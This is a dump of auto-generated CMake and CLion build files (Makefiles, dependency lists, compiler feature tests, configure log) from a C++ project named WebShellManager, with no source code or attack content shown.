CMakeFiles/WebShellManager.dir/clean 190 | 191 | CMakeFiles/WebShellManager.dir/depend: 192 | cd /home/image/projects/WebShellManager/cmake-build-debug && $(CMAKE_COMMAND) -E cmake_depends "Unix Makefiles" /home/image/projects/WebShellManager /home/image/projects/WebShellManager /home/image/projects/WebShellManager/cmake-build-debug /home/image/projects/WebShellManager/cmake-build-debug /home/image/projects/WebShellManager/cmake-build-debug/CMakeFiles/WebShellManager.dir/DependInfo.cmake --color=$(COLOR) 193 | .PHONY : CMakeFiles/WebShellManager.dir/depend 194 | 195 | -------------------------------------------------------------------------------- /cmake-build-debug/CMakeFiles/WebShellManager.dir/cmake_clean.cmake: -------------------------------------------------------------------------------- 1 | file(REMOVE_RECURSE 2 | "CMakeFiles/WebShellManager.dir/cryptohelper.cpp.o" 3 | "CMakeFiles/WebShellManager.dir/curlhelper.cpp.o" 4 | "CMakeFiles/WebShellManager.dir/main.cpp.o" 5 | "CMakeFiles/WebShellManager.dir/WebShell.cpp.o" 6 | "WebShellManager.pdb" 7 | "WebShellManager" 8 | ) 9 | 10 | # Per-language clean rules from dependency scanning. 11 | foreach(lang CXX) 12 | include(CMakeFiles/WebShellManager.dir/cmake_clean_${lang}.cmake OPTIONAL) 13 | endforeach() 14 | -------------------------------------------------------------------------------- /cmake-build-debug/CMakeFiles/WebShellManager.dir/cryptohelper.cpp.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/imagemlt/WebShellManager/581a643795efa7cfcd4bd932955291912bb2809e/cmake-build-debug/CMakeFiles/WebShellManager.dir/cryptohelper.cpp.o -------------------------------------------------------------------------------- /cmake-build-debug/CMakeFiles/WebShellManager.dir/curlhelper.cpp.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/imagemlt/WebShellManager/581a643795efa7cfcd4bd932955291912bb2809e/cmake-build-debug/CMakeFiles/WebShellManager.dir/curlhelper.cpp.o -------------------------------------------------------------------------------- /cmake-build-debug/CMakeFiles/WebShellManager.dir/depend.internal: -------------------------------------------------------------------------------- 1 | # CMAKE generated file: DO NOT EDIT! 2 | # Generated by "Unix Makefiles" Generator, CMake Version 3.9 3 | 4 | CMakeFiles/WebShellManager.dir/WebShell.cpp.o 5 | /home/image/projects/WebShellManager/WebShell.cpp 6 | /home/image/projects/WebShellManager/WebShell.h 7 | /home/image/projects/WebShellManager/cryptohelper.h 8 | /home/image/projects/WebShellManager/curlhelper.h 9 | CMakeFiles/WebShellManager.dir/cryptohelper.cpp.o 10 | /home/image/projects/WebShellManager/cryptohelper.cpp 11 | /home/image/projects/WebShellManager/cryptohelper.h 12 | CMakeFiles/WebShellManager.dir/curlhelper.cpp.o 13 | /home/image/projects/WebShellManager/curlhelper.cpp 14 | /home/image/projects/WebShellManager/curlhelper.h 15 | CMakeFiles/WebShellManager.dir/main.cpp.o 16 | /home/image/projects/WebShellManager/WebShell.h 17 | /home/image/projects/WebShellManager/cryptohelper.h 18 | /home/image/projects/WebShellManager/curlhelper.h 19 | /home/image/projects/WebShellManager/json.hpp 20 | /home/image/projects/WebShellManager/main.cpp 21 | -------------------------------------------------------------------------------- /cmake-build-debug/CMakeFiles/WebShellManager.dir/depend.make: -------------------------------------------------------------------------------- 1 | # CMAKE generated file: DO NOT EDIT! 2 | # Generated by "Unix Makefiles" Generator, CMake Version 3.9 3 | 4 | CMakeFiles/WebShellManager.dir/WebShell.cpp.o: ../WebShell.cpp 5 | CMakeFiles/WebShellManager.dir/WebShell.cpp.o: ../WebShell.h 6 | CMakeFiles/WebShellManager.dir/WebShell.cpp.o: ../cryptohelper.h 7 | CMakeFiles/WebShellManager.dir/WebShell.cpp.o: ../curlhelper.h 8 | 9 | CMakeFiles/WebShellManager.dir/cryptohelper.cpp.o: ../cryptohelper.cpp 10 | CMakeFiles/WebShellManager.dir/cryptohelper.cpp.o: ../cryptohelper.h 11 | 12 | CMakeFiles/WebShellManager.dir/curlhelper.cpp.o: ../curlhelper.cpp 13 | CMakeFiles/WebShellManager.dir/curlhelper.cpp.o: ../curlhelper.h 14 | 15 | CMakeFiles/WebShellManager.dir/main.cpp.o: ../WebShell.h 16 | CMakeFiles/WebShellManager.dir/main.cpp.o: ../cryptohelper.h 17 | CMakeFiles/WebShellManager.dir/main.cpp.o: ../curlhelper.h 18 | CMakeFiles/WebShellManager.dir/main.cpp.o: ../json.hpp 19 | CMakeFiles/WebShellManager.dir/main.cpp.o: ../main.cpp 20 | 21 | -------------------------------------------------------------------------------- /cmake-build-debug/CMakeFiles/WebShellManager.dir/flags.make: -------------------------------------------------------------------------------- 1 | # CMAKE generated file: DO NOT EDIT! 2 | # Generated by "Unix Makefiles" Generator, CMake Version 3.9 3 | 4 | # compile CXX with /usr/bin/c++ 5 | CXX_FLAGS = -lcurl -pthread -g -std=gnu++11 6 | 7 | CXX_DEFINES = 8 | 9 | CXX_INCLUDES = 10 | 11 | -------------------------------------------------------------------------------- /cmake-build-debug/CMakeFiles/WebShellManager.dir/link.txt: -------------------------------------------------------------------------------- 1 | /usr/bin/c++ -lcurl -pthread -g CMakeFiles/WebShellManager.dir/cryptohelper.cpp.o CMakeFiles/WebShellManager.dir/curlhelper.cpp.o CMakeFiles/WebShellManager.dir/main.cpp.o CMakeFiles/WebShellManager.dir/WebShell.cpp.o -o WebShellManager -lcurl 2 | -------------------------------------------------------------------------------- /cmake-build-debug/CMakeFiles/WebShellManager.dir/main.cpp.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/imagemlt/WebShellManager/581a643795efa7cfcd4bd932955291912bb2809e/cmake-build-debug/CMakeFiles/WebShellManager.dir/main.cpp.o -------------------------------------------------------------------------------- /cmake-build-debug/CMakeFiles/WebShellManager.dir/progress.make: -------------------------------------------------------------------------------- 1 | CMAKE_PROGRESS_1 = 1 2 | CMAKE_PROGRESS_2 = 2 3 | CMAKE_PROGRESS_3 = 3 4 | CMAKE_PROGRESS_4 = 4 5 | CMAKE_PROGRESS_5 = 5 6 | 7 | -------------------------------------------------------------------------------- /cmake-build-debug/CMakeFiles/clion-environment.txt: -------------------------------------------------------------------------------- 1 | Options: 2 | 3 | Options: -------------------------------------------------------------------------------- /cmake-build-debug/CMakeFiles/clion-log.txt: -------------------------------------------------------------------------------- 1 | /opt/clion-2017.3.4/bin/cmake/bin/cmake -DCMAKE_BUILD_TYPE=Debug -G "CodeBlocks - Unix Makefiles" /home/image/projects/WebShellManager 2 | -- The C compiler identification is GNU 5.4.0 3 | -- The CXX compiler identification is GNU 5.4.0 4 | -- Check for working C compiler: /usr/bin/cc 5 | -- Check for working C compiler: /usr/bin/cc -- works 6 | -- Detecting C compiler ABI info 7 | -- Detecting C compiler ABI info - done 8 | -- Detecting C compile features 9 | -- Detecting C compile features - done 10 | -- Check for working CXX compiler: /usr/bin/c++ 11 | -- Check for working CXX compiler: /usr/bin/c++ -- works 12 | -- Detecting CXX compiler ABI info 13 | -- Detecting CXX compiler ABI info - done 14 | -- Detecting CXX compile features 15 | -- Detecting CXX compile features - done 16 | -- Configuring done 17 | -- Generating done 18 | -- Build files have been written to: /home/image/projects/WebShellManager 19 | -------------------------------------------------------------------------------- /cmake-build-debug/CMakeFiles/cmake.check_cache: -------------------------------------------------------------------------------- 1 | # This file is generated by cmake for dependency checking of the CMakeCache.txt file 2 | -------------------------------------------------------------------------------- /cmake-build-debug/CMakeFiles/feature_tests.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/imagemlt/WebShellManager/581a643795efa7cfcd4bd932955291912bb2809e/cmake-build-debug/CMakeFiles/feature_tests.bin -------------------------------------------------------------------------------- /cmake-build-debug/CMakeFiles/feature_tests.c: -------------------------------------------------------------------------------- 1 | 2 | const char features[] = {"\n" 3 | "C_FEATURE:" 4 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 304 5 | "1" 6 | #else 7 | "0" 8 | #endif 9 | "c_function_prototypes\n" 10 | "C_FEATURE:" 11 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 304 && defined(__STDC_VERSION__) && __STDC_VERSION__ >= 199901L 12 | "1" 13 | #else 14 | "0" 15 | #endif 16 | "c_restrict\n" 17 | "C_FEATURE:" 18 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 406 && defined(__STDC_VERSION__) && __STDC_VERSION__ >= 201000L 19 | "1" 20 | #else 21 | "0" 22 | #endif 23 | "c_static_assert\n" 24 | "C_FEATURE:" 25 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 304 && defined(__STDC_VERSION__) && __STDC_VERSION__ >= 199901L 26 | "1" 27 | #else 28 | "0" 29 | #endif 30 | "c_variadic_macros\n" 31 | 32 | }; 33 | 34 | int main(int argc, char** argv) { (void)argv; return features[argc]; } 35 | -------------------------------------------------------------------------------- /cmake-build-debug/CMakeFiles/feature_tests.cxx: -------------------------------------------------------------------------------- 1 | 2 | const char features[] = {"\n" 3 | "CXX_FEATURE:" 4 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 500 && __cplusplus >= 201402L 5 | "1" 6 | #else 7 | "0" 8 | #endif 9 | "cxx_aggregate_default_initializers\n" 10 | "CXX_FEATURE:" 11 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 407 && __cplusplus >= 201103L 12 | "1" 13 | #else 14 | "0" 15 | #endif 16 | "cxx_alias_templates\n" 17 | "CXX_FEATURE:" 18 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 408 && __cplusplus >= 201103L 19 | "1" 20 | #else 21 | "0" 22 | #endif 23 | "cxx_alignas\n" 24 | "CXX_FEATURE:" 25 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 408 && __cplusplus >= 201103L 26 | "1" 27 | #else 28 | "0" 29 | #endif 30 | "cxx_alignof\n" 31 | "CXX_FEATURE:" 32 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 408 && __cplusplus >= 201103L 33 | "1" 34 | #else 35 | "0" 36 | #endif 37 | "cxx_attributes\n" 38 | "CXX_FEATURE:" 39 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 409 && __cplusplus > 201103L 40 | "1" 41 | #else 42 | "0" 43 | #endif 44 | "cxx_attribute_deprecated\n" 45 | "CXX_FEATURE:" 46 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 47 | "1" 48 | #else 49 | "0" 50 | #endif 51 | "cxx_auto_type\n" 52 | "CXX_FEATURE:" 53 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 409 && __cplusplus > 201103L 54 | "1" 55 | #else 56 | "0" 57 | #endif 58 | "cxx_binary_literals\n" 59 | "CXX_FEATURE:" 60 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 406 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 61 | "1" 62 | #else 63 | "0" 64 | #endif 65 | "cxx_constexpr\n" 66 | "CXX_FEATURE:" 67 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 409 && __cplusplus > 201103L 68 | "1" 69 | #else 70 | "0" 71 | #endif 72 | "cxx_contextual_conversions\n" 73 | "CXX_FEATURE:" 74 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 75 | "1" 76 | #else 77 | "0" 78 | #endif 79 | "cxx_decltype\n" 80 | "CXX_FEATURE:" 81 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 409 && __cplusplus > 201103L 82 | "1" 83 | #else 84 | "0" 85 | #endif 86 | "cxx_decltype_auto\n" 87 | "CXX_FEATURE:" 88 | #if ((__GNUC__ * 10000 + __GNUC_MINOR__ * 100 + __GNUC_PATCHLEVEL__) >= 40801) && __cplusplus >= 201103L 89 | "1" 90 | #else 91 | "0" 92 | #endif 93 | "cxx_decltype_incomplete_return_types\n" 94 | "CXX_FEATURE:" 95 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 96 | "1" 97 | #else 98 | "0" 99 | #endif 100 | "cxx_default_function_template_args\n" 101 | "CXX_FEATURE:" 102 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 103 | "1" 104 | #else 105 | "0" 106 | #endif 107 | "cxx_defaulted_functions\n" 108 | "CXX_FEATURE:" 109 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 406 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 110 | "1" 111 | #else 112 | "0" 113 | #endif 114 | "cxx_defaulted_move_initializers\n" 115 | "CXX_FEATURE:" 116 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 407 && __cplusplus >= 201103L 117 | "1" 118 | #else 119 | "0" 120 | #endif 121 | "cxx_delegating_constructors\n" 122 | "CXX_FEATURE:" 123 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 124 | "1" 125 | #else 126 | "0" 127 | #endif 128 | "cxx_deleted_functions\n" 129 | "CXX_FEATURE:" 130 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 409 && __cplusplus > 201103L 131 | "1" 132 | #else 133 | "0" 134 | #endif 135 | "cxx_digit_separators\n" 136 | "CXX_FEATURE:" 137 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 406 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 138 | "1" 139 | #else 140 | "0" 141 | #endif 142 | "cxx_enum_forward_declarations\n" 143 | "CXX_FEATURE:" 144 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 405 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 145 | "1" 146 | #else 147 | "0" 148 | #endif 149 | "cxx_explicit_conversions\n" 150 | "CXX_FEATURE:" 151 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 407 && __cplusplus >= 201103L 152 | "1" 153 | #else 154 | "0" 155 | #endif 156 | "cxx_extended_friend_declarations\n" 157 | "CXX_FEATURE:" 158 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 159 | "1" 160 | #else 161 | "0" 162 | #endif 163 | "cxx_extern_templates\n" 164 | "CXX_FEATURE:" 165 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 407 && __cplusplus >= 201103L 166 | "1" 167 | #else 168 | "0" 169 | #endif 170 | "cxx_final\n" 171 | "CXX_FEATURE:" 172 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 173 | "1" 174 | #else 175 | "0" 176 | #endif 177 | "cxx_func_identifier\n" 178 | "CXX_FEATURE:" 179 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 180 | "1" 181 | #else 182 | "0" 183 | #endif 184 | "cxx_generalized_initializers\n" 185 | "CXX_FEATURE:" 186 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 409 && __cplusplus > 201103L 187 | "1" 188 | #else 189 | "0" 190 | #endif 191 | "cxx_generic_lambdas\n" 192 | "CXX_FEATURE:" 193 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 408 && __cplusplus >= 201103L 194 | "1" 195 | #else 196 | "0" 197 | #endif 198 | "cxx_inheriting_constructors\n" 199 | "CXX_FEATURE:" 200 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 201 | "1" 202 | #else 203 | "0" 204 | #endif 205 | "cxx_inline_namespaces\n" 206 | "CXX_FEATURE:" 207 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 405 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 208 | "1" 209 | #else 210 | "0" 211 | #endif 212 | "cxx_lambdas\n" 213 | "CXX_FEATURE:" 214 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 409 && __cplusplus > 201103L 215 | "1" 216 | #else 217 | "0" 218 | #endif 219 | "cxx_lambda_init_captures\n" 220 | "CXX_FEATURE:" 221 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 405 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 222 | "1" 223 | #else 224 | "0" 225 | #endif 226 | "cxx_local_type_template_args\n" 227 | "CXX_FEATURE:" 228 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 229 | "1" 230 | #else 231 | "0" 232 | #endif 233 | "cxx_long_long_type\n" 234 | "CXX_FEATURE:" 235 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 406 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 236 | "1" 237 | #else 238 | "0" 239 | #endif 240 | "cxx_noexcept\n" 241 | "CXX_FEATURE:" 242 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 407 && __cplusplus >= 201103L 243 | "1" 244 | #else 245 | "0" 246 | #endif 247 | "cxx_nonstatic_member_init\n" 248 | "CXX_FEATURE:" 249 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 406 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 250 | "1" 251 | #else 252 | "0" 253 | #endif 254 | "cxx_nullptr\n" 255 | "CXX_FEATURE:" 256 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 407 && __cplusplus >= 201103L 257 | "1" 258 | #else 259 | "0" 260 | #endif 261 | "cxx_override\n" 262 | "CXX_FEATURE:" 263 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 406 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 264 | "1" 265 | #else 266 | "0" 267 | #endif 268 | "cxx_range_for\n" 269 | "CXX_FEATURE:" 270 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 405 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 271 | "1" 272 | #else 273 | "0" 274 | #endif 275 | "cxx_raw_string_literals\n" 276 | "CXX_FEATURE:" 277 | #if ((__GNUC__ * 10000 + __GNUC_MINOR__ * 100 + __GNUC_PATCHLEVEL__) >= 40801) && __cplusplus >= 201103L 278 | "1" 279 | #else 280 | "0" 281 | #endif 282 | "cxx_reference_qualified_functions\n" 283 | "CXX_FEATURE:" 284 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 500 && __cplusplus >= 201402L 285 | "1" 286 | #else 287 | "0" 288 | #endif 289 | "cxx_relaxed_constexpr\n" 290 | "CXX_FEATURE:" 291 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 409 && __cplusplus > 201103L 292 | "1" 293 | #else 294 | "0" 295 | #endif 296 | "cxx_return_type_deduction\n" 297 | "CXX_FEATURE:" 298 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 299 | "1" 300 | #else 301 | "0" 302 | #endif 303 | "cxx_right_angle_brackets\n" 304 | "CXX_FEATURE:" 305 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 306 | "1" 307 | #else 308 | "0" 309 | #endif 310 | "cxx_rvalue_references\n" 311 | "CXX_FEATURE:" 312 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 313 | "1" 314 | #else 315 | "0" 316 | #endif 317 | "cxx_sizeof_member\n" 318 | "CXX_FEATURE:" 319 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 320 | "1" 321 | #else 322 | "0" 323 | #endif 324 | "cxx_static_assert\n" 325 | "CXX_FEATURE:" 326 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 327 | "1" 328 | #else 329 | "0" 330 | #endif 331 | "cxx_strong_enums\n" 332 | "CXX_FEATURE:" 333 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && __cplusplus 334 | "1" 335 | #else 336 | "0" 337 | #endif 338 | "cxx_template_template_parameters\n" 339 | "CXX_FEATURE:" 340 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 408 && __cplusplus >= 201103L 341 | "1" 342 | #else 343 | "0" 344 | #endif 345 | "cxx_thread_local\n" 346 | "CXX_FEATURE:" 347 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 348 | "1" 349 | #else 350 | "0" 351 | #endif 352 | "cxx_trailing_return_types\n" 353 | "CXX_FEATURE:" 354 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 355 | "1" 356 | #else 357 | "0" 358 | #endif 359 | "cxx_unicode_literals\n" 360 | "CXX_FEATURE:" 361 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 362 | "1" 363 | #else 364 | "0" 365 | #endif 366 | "cxx_uniform_initialization\n" 367 | "CXX_FEATURE:" 368 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 406 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 369 | "1" 370 | #else 371 | "0" 372 | #endif 373 | "cxx_unrestricted_unions\n" 374 | "CXX_FEATURE:" 375 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 407 && __cplusplus >= 201103L 376 | "1" 377 | #else 378 | "0" 379 | #endif 380 | "cxx_user_literals\n" 381 | "CXX_FEATURE:" 382 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 500 && __cplusplus >= 201402L 383 | "1" 384 | #else 385 | "0" 386 | #endif 387 | "cxx_variable_templates\n" 388 | "CXX_FEATURE:" 389 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 390 | "1" 391 | #else 392 | "0" 393 | #endif 394 | "cxx_variadic_macros\n" 395 | "CXX_FEATURE:" 396 | #if (__GNUC__ * 100 + __GNUC_MINOR__) >= 404 && (__cplusplus >= 201103L || (defined(__GXX_EXPERIMENTAL_CXX0X__) && __GXX_EXPERIMENTAL_CXX0X__)) 397 | "1" 398 | #else 399 | "0" 400 | #endif 401 | "cxx_variadic_templates\n" 402 | 403 | }; 404 | 405 | int main(int argc, char** argv) { (void)argv; return features[argc]; } 406 | -------------------------------------------------------------------------------- /cmake-build-debug/CMakeFiles/progress.marks: -------------------------------------------------------------------------------- 1 | 5 2 | -------------------------------------------------------------------------------- /cmake-build-debug/Makefile: -------------------------------------------------------------------------------- 1 | # CMAKE generated file: DO NOT EDIT! 2 | # Generated by "Unix Makefiles" Generator, CMake Version 3.9 3 | 4 | # Default target executed when no arguments are given to make. 5 | default_target: all 6 | 7 | .PHONY : default_target 8 | 9 | # Allow only one "make -f Makefile2" at a time, but pass parallelism. 10 | .NOTPARALLEL: 11 | 12 | 13 | #============================================================================= 14 | # Special targets provided by cmake. 15 | 16 | # Disable implicit rules so canonical targets will work. 17 | .SUFFIXES: 18 | 19 | 20 | # Remove some rules from gmake that .SUFFIXES does not remove. 21 | SUFFIXES = 22 | 23 | .SUFFIXES: .hpux_make_needs_suffix_list 24 | 25 | 26 | # Suppress display of executed commands. 27 | $(VERBOSE).SILENT: 28 | 29 | 30 | # A target that is always out of date. 31 | cmake_force: 32 | 33 | .PHONY : cmake_force 34 | 35 | #============================================================================= 36 | # Set environment variables for the build. 37 | 38 | # The shell in which to execute make rules. 39 | SHELL = /bin/sh 40 | 41 | # The CMake executable. 42 | CMAKE_COMMAND = /opt/clion-2017.3.4/bin/cmake/bin/cmake 43 | 44 | # The command to remove a file. 45 | RM = /opt/clion-2017.3.4/bin/cmake/bin/cmake -E remove -f 46 | 47 | # Escaping for special characters. 48 | EQUALS = = 49 | 50 | # The top-level source directory on which CMake was run. 51 | CMAKE_SOURCE_DIR = /home/image/projects/WebShellManager 52 | 53 | # The top-level build directory on which CMake was run. 54 | CMAKE_BINARY_DIR = /home/image/projects/WebShellManager/cmake-build-debug 55 | 56 | #============================================================================= 57 | # Targets provided globally by CMake. 58 | 59 | # Special rule for the target rebuild_cache 60 | rebuild_cache: 61 | @$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan "Running CMake to regenerate build system..." 62 | /opt/clion-2017.3.4/bin/cmake/bin/cmake -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR) 63 | .PHONY : rebuild_cache 64 | 65 | # Special rule for the target rebuild_cache 66 | rebuild_cache/fast: rebuild_cache 67 | 68 | .PHONY : rebuild_cache/fast 69 | 70 | # Special rule for the target edit_cache 71 | edit_cache: 72 | @$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan "No interactive CMake dialog available..." 73 | /opt/clion-2017.3.4/bin/cmake/bin/cmake -E echo No\ interactive\ CMake\ dialog\ available. 74 | .PHONY : edit_cache 75 | 76 | # Special rule for the target edit_cache 77 | edit_cache/fast: edit_cache 78 | 79 | .PHONY : edit_cache/fast 80 | 81 | # The main all target 82 | all: cmake_check_build_system 83 | $(CMAKE_COMMAND) -E cmake_progress_start /home/image/projects/WebShellManager/cmake-build-debug/CMakeFiles /home/image/projects/WebShellManager/cmake-build-debug/CMakeFiles/progress.marks 84 | $(MAKE) -f CMakeFiles/Makefile2 all 85 | $(CMAKE_COMMAND) -E cmake_progress_start /home/image/projects/WebShellManager/cmake-build-debug/CMakeFiles 0 86 | .PHONY : all 87 | 88 | # The main clean target 89 | clean: 90 | $(MAKE) -f CMakeFiles/Makefile2 clean 91 | .PHONY : clean 92 | 93 | # The main clean target 94 | clean/fast: clean 95 | 96 | .PHONY : clean/fast 97 | 98 | # Prepare targets for installation. 99 | preinstall: all 100 | $(MAKE) -f CMakeFiles/Makefile2 preinstall 101 | .PHONY : preinstall 102 | 103 | # Prepare targets for installation. 104 | preinstall/fast: 105 | $(MAKE) -f CMakeFiles/Makefile2 preinstall 106 | .PHONY : preinstall/fast 107 | 108 | # clear depends 109 | depend: 110 | $(CMAKE_COMMAND) -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR) --check-build-system CMakeFiles/Makefile.cmake 1 111 | .PHONY : depend 112 | 113 | #============================================================================= 114 | # Target rules for targets named WebShellManager 115 | 116 | # Build rule for target. 117 | WebShellManager: cmake_check_build_system 118 | $(MAKE) -f CMakeFiles/Makefile2 WebShellManager 119 | .PHONY : WebShellManager 120 | 121 | # fast build rule for target. 122 | WebShellManager/fast: 123 | $(MAKE) -f CMakeFiles/WebShellManager.dir/build.make CMakeFiles/WebShellManager.dir/build 124 | .PHONY : WebShellManager/fast 125 | 126 | WebShell.o: WebShell.cpp.o 127 | 128 | .PHONY : WebShell.o 129 | 130 | # target to build an object file 131 | WebShell.cpp.o: 132 | $(MAKE) -f CMakeFiles/WebShellManager.dir/build.make CMakeFiles/WebShellManager.dir/WebShell.cpp.o 133 | .PHONY : WebShell.cpp.o 134 | 135 | WebShell.i: WebShell.cpp.i 136 | 137 | .PHONY : WebShell.i 138 | 139 | # target to preprocess a source file 140 | WebShell.cpp.i: 141 | $(MAKE) -f CMakeFiles/WebShellManager.dir/build.make CMakeFiles/WebShellManager.dir/WebShell.cpp.i 142 | .PHONY : WebShell.cpp.i 143 | 144 